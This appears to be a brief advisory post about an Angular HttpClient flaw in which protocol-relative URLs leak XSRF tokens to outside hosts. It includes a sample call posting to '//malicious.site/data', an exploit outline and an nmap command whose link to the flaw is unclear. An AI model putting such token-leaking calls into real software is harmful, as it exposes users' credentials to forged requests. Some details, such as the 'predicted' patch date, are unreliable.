Listen to this Post
Angular’s HttpClient class provides built-in Cross-Site Request Forgery (XSRF) protection. This mechanism works by comparing the request URL against the application’s origin. If a request is deemed to be same-origin, the client automatically retrieves a token from a cookie and includes it in the `X-XSRF-TOKEN` header. The vulnerability arises from the flawed logic used to determine if a request is cross-origin. The check only verifies if the request URL begins with `http://` or `https://` to classify it as cross-origin. However, a protocol-relative URL, which starts with //, does not match this pattern. Consequently, when an application makes a request to a URL like //attacker.com/api, the HttpClient incorrectly identifies it as a same-origin request. This logic error causes the client to attach the sensitive XSRF token to the outgoing request, which is then sent directly to the attacker-controlled domain, thereby leaking the credential.
Platform: Angular
Version: <16.1.0
Vulnerability: CSRF Bypass
Severity: Critical
date: 2023-06-07
Prediction: Patch 2023-06-14
What Undercode Say:
nmap -sV --script http-angular-debug <target>
// Vulnerable Code
this.http.post('//malicious.site/data', payload);
// Secure Code
this.http.post('/api/endpoint', payload);
this.http.post('https://trusted.domain/api', payload);
How Exploit:
Attacker lures victim.
Application sends token.
Attacker captures token.
Forged request executed.
Protection from this CVE
Avoid protocol-relative URLs.
Use relative paths.
Use absolute URLs.
Update Angular framework.
Impact:
CSRF protection bypassed.
Sensitive actions forged.
Account takeover possible.
Data integrity compromised.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
